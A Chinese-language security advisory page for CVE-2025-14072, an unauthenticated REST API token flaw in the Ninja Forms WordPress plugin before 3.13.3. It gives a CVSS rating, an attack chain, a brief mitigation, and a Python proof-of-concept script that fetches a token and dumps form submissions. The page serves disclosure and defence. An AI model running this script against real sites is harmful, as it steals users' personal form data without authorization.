IPBUF安全漏洞报告
English
CVE-2025-14072 CVSS 5.3 中危

CVE-2025-14072: Ninja Forms插件REST API认证绕过漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-14072
漏洞类型
认证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ninja Forms WordPress插件

相关标签

WordPress插件Ninja Forms认证绕过REST API信息泄露

漏洞概述

Ninja Forms是WordPress平台流行的表单构建插件。漏洞存在于3.13.3之前版本,源于REST API端点存在认证机制缺陷,允许未授权攻击者绕过身份验证流程获取有效访问令牌,进而读取表单提交数据。由于无需任何认证即可利用此漏洞,攻击者可以批量窃取网站表单中包含的敏感用户信息。

技术细节

漏洞根源在于Ninja Forms的REST API认证逻辑存在缺陷。攻击者通过向REST API端点发送特制请求,即可获得有效的访问令牌。该令牌本应仅限授权用户使用,但由于API未正确验证请求者身份,导致任何人都能获取。获取令牌后,攻击者可用其访问读取表单提交内容的API接口,从而窃取表单数据。

攻击链分析

STEP 1
1
攻击者识别运行Ninja Forms插件的WordPress站点
STEP 2
2
通过REST API端点获取有效访问令牌
STEP 3
3
使用令牌调用表单提交读取接口
STEP 4
4
提取并利用窃取的敏感表单数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target = 'http://target-wordpress-site.com' # Step 1: Obtain access token via REST API token_url = f'{target}/wp-json/ninja-forms/v1/access-token' payload = { 'form_id': 1 } response = requests.post(token_url, json=payload) token_data = response.json() access_token = token_data.get('token') # Step 2: Retrieve form submissions using token submissions_url = f'{target}/wp-json/ninja-forms/v1/submissions' headers = {'Authorization': f'Bearer {access_token}'} response = requests.get(submissions_url, headers=headers) print('Exfiltrated form submissions:') print(json.dumps(response.json(), indent=2))

影响范围

Ninja Forms < 3.13.3

防御指南

临时缓解措施
临时禁用Ninja Forms插件或限制API端点访问

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表